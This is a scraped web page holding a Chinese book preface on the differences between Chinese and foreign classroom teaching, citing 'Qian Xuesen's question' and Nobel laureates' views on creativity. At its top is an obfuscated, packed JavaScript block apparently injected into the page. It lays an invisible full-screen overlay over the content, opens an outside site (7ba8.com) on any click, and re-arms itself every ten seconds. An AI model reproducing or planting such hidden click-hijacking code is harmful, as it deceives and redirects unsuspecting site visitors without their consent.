|
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>关于中外教育教学的差异．有一个故事说得很透彻:某学校出了这样一道题:下午两点到三点之间．时针与分针在哪一刻交会?在场的中国孩子马上拿笔列式计算，同班的美国孩子却轻松地拨动自己的手表，很快得出结论。这说明，中国孩子在动手能力方面与国外孩子存在相当差距。 到底是什么扼杀了中国孩子的想象力？ 华裔美籍诺贝尔奖获得者朱棣文、杨振宁教授结合自己的亲身经历及其成功的经验，对中美教育的差异发表了非同寻常的见解—— 朱棣文教授说:“中国学校过多地强调学生书本知识学习和书面应试能力，而对激励学生的创新精神则显得明显不足。” 杨振宁教授指出:“中国留学生学习成绩往往比美国学生好得多，然而，10年以后，科研成果却比人家少得多，原因就在于美国学生思想活跃，动手能力和创造精神强。”杨先生还通过他所指导的一些中国研究生了解到中国学生的某种共性:在考场上得心应手，在实验室里手足无措。 而另一位诺贝尔奖获得者李政道教授曾强调:“培养人才最重要的是创造能力。” 由此看来，许多人士都深刻地看到了中外教育的巨大不同:一个强调知识学习；一个强调能力培养。 “为什么我们的学校总是培养不出杰出人才？”钱学森离世前多次提出这个震聋发聩的疑问，引起了全社会的关注。有道，“钱学森之问”是关于中国教育事业发展的一道艰深命题，需要整个教育界乃至社会各界共同***。 编写《课堂深处的精彩——中外教育对比赏析》一书，正是从课堂的角度对中外教育教学的反思。书中精心选取的每一个个案，都是广大一线教师学习国外教育教学经验后对自身教育教学经验进行的对比反思。老师有的亲自走进国外课堂，有的通过视频材料进行观摩学习，无论是直接还是间接的经验，都凝聚着老师们对教育的思考，对课堂的追问，对国际大背景和新课程背景下教育教学的深刻反思。 全书分为“课堂上的精彩”、“教育中的细节”上下两篇，无论是上篇中《美国数学课上“磨洋工”的启示》、《“剪羊毛”的英国语文课》、《没有家庭作业的芬兰小学语文课》、《把课上到教室外的新加坡数学课》、《让学生跳进课文之水的日本国语课跳水>》、《复述出效果的前苏联阅读课红气球>》等，还是下篇中《一间美国专用教室的无声教育》、《“环保记事本”中的德国绿色教育理念》、《美国年度教师克拉克转变差班的启示》、《刻着陶行知名字的德国小学教育》、《从生活细节看英国教育》等，都记录着老师们对国外教育教学和我国教育教学最真实、最原生态的对比思考和进一步的思辨学习。 这些源于实践的切身认知和亲力践行的尝试，为广大一线教师提供了可触摸的学习模式，在更多教师还没有机会走出国门学习国外先进教育教学经验的今天，读这本书，无疑是借鉴他山之石事半功倍的最佳捷径之一。 如果说“钱学森之问”是我们每一个教育者心中的痛，那么，当我们为自己多打开一扇门时，我们的视线将变得更加宽阔，我们的思维将变得更加多元，我们的行为将变得更加开拓。这正是编写本书的宗旨。 |
收藏